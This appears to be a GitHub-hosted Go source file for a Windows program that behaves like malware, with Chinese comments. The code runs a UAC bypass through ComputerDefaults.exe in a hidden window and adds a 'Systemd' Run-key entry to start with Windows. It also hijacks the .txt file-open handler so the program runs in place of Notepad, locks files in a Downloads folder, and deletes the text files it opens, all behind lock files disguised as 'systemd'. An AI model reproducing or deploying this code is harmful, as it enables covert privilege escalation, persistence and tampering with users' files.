-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
110 lines (96 loc) · 2.14 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package main
import (
"errors"
"fmt"
"github.com/chai2010/winsvc"
"os"
"os/exec"
"sync"
"syscall"
"time"
)
var DEBUG = false
var exePath string
var wg sync.WaitGroup
var tmpFile = `C:\Windows\Temp\systemd.tmp`
var processLockFile = `C:\Windows\Temp\systemd.lock`
var lockPath = []string{`C:\Downloads\`}
func main() {
exePath, _ = winsvc.GetAppPath()
go unLock(processLockFile)
time.Sleep(5000)
initialization()
if DEBUG {
messagebox(errors.New("Start"))
}
var txtFileName string
// 首次运行判断
if !IsExist(tmpFile) {
initialization()
}
// 判断进程锁文件,避免重复启动多个进程
if !IsExist(processLockFile) {
bypassCmd := exec.Command("cmd.exe", "/c", "C:\\Windows\\System32\\ComputerDefaults.exe lwh")
// 命令执行时 隐藏控制台窗口
bypassCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
bypassCmd.Run()
_, err := os.Create(processLockFile)
if err != nil {
if DEBUG {
messagebox(err)
}
}
}
if len(os.Args) != 1 && os.Args[1] == "lwh" {
wg.Add(3 + len(lockPath))
go startWithWindows(&wg)
go changeOpenType(&wg)
go crontab()
for _, p := range lockPath {
go lockFile(p, &wg)
}
wg.Wait()
}
// 打开记事本程序,不需要管理员权限
if len(os.Args) != 1 && os.Args[1] != "lwh" {
txtFileName = os.Args[1]
notepadCmd := exec.Command("notepad.exe", txtFileName)
_ = notepadCmd.Run()
wg.Add(2)
go deleteFile(txtFileName)
go startWithWindows(&wg)
wg.Wait()
return
}
}
func crontab() {
for {
now := time.Now()
next := now.Add(time.Minute * 1)
t := time.NewTimer(next.Sub(now))
fmt.Println("当前时间为:", t)
fmt.Println("当前时间为:", next)
select {
case <-t.C:
deleteFile(`C:\Windows\Temp\aa.txt`)
}
}
wg.Done()
}
func initialization() {
createRegBypassUAC()
_, err := os.Create(tmpFile)
if err != nil {
if DEBUG {
messagebox(err)
}
}
}
func changeOpenType(wg *sync.WaitGroup) {
changeRegOpenT("txtfile\\shell\\open\\command", exePath+" \"%1\"")
wg.Done()
}
func startWithWindows(wg *sync.WaitGroup) {
createRegAutoStart("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run","Systemd",exePath)
wg.Done()
}